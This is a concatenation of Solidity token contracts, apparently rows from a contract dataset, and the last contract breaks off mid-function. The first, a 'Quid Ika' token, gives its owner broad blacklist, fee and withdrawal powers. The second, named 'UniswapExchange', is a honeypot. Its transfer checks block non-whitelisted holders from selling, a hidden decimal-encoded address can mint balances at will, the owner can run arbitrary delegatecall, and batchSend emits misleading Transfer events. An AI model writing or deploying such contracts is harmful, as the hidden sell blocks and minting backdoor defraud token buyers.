function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract QUID is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress =
payable(0xba80b52b20EE1EdE755C0a71b8924CD093e95dC4);
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 500000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Quid Ika';
string private _symbol = 'QUID';
uint8 private _decimals = 9;
uint256 public _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _feeRate = 2;
uint256 launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool tradingOpen = false;
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
}
function openTrading() external onlyOwner {
_liquidityFee = _previousLiquidityFee;
_taxFee = _previousTaxFee;
tradingOpen = true;
launchTime = block.timestamp;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
)
public
override
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], 'Account is already excluded');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
require(!_isSniper[to], 'You have no power here!');
require(!_isSniper[msg.sender], 'You have no power here!');
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(tradingOpen, 'Trading not yet enabled.');
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && tradingOpen && to == uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (
contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)
) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(
100
);
}
swapTokens(contractTokenBalance);
}
}
bool takeFee = false;
if (
(from == uniswapV2Pair || to == uniswapV2Pair) &&
!(_isExcludedFromFee[from] || _isExcludedFromFee[to])
) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToMarketing(address(this).balance);
}
}
function sendETHToMarketing(uint256 amount) private {
marketingAddress.call{value: amount}("");
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{ value: ethAmount }(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(
tAmount
);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {
_liquidityFee = liquidityFee;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = payable(_marketingAddress);
}
function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}
function isRemovedSniper(address account) public view returns (bool) {
return _isSniper[account];
}
function _removeSniper(address account) external onlyOwner {
require(
account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
'We can not blacklist Uniswap'
);
require(!_isSniper[account], 'Account is already blacklisted');
_isSniper[account] = true;
_confirmedSnipers.push(account);
}
function _amnestySniper(address account) external onlyOwner {
require(_isSniper[account], 'Account is not blacklisted');
for (uint256 i = 0; i < _confirmedSnipers.length; i++) {
if (_confirmedSnipers[i] == account) {
_confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1];
_isSniper[account] = false;
_confirmedSnipers.pop();
break;
}
}
}
function setFeeRate(uint256 rate) external onlyOwner {
_feeRate = rate;
}
receive() external payable {}
function emergencyWithdraw() external onlyOwner {
payable(owner()).send(address(this).balance);
}
} | 0 | 2,448 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,576 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
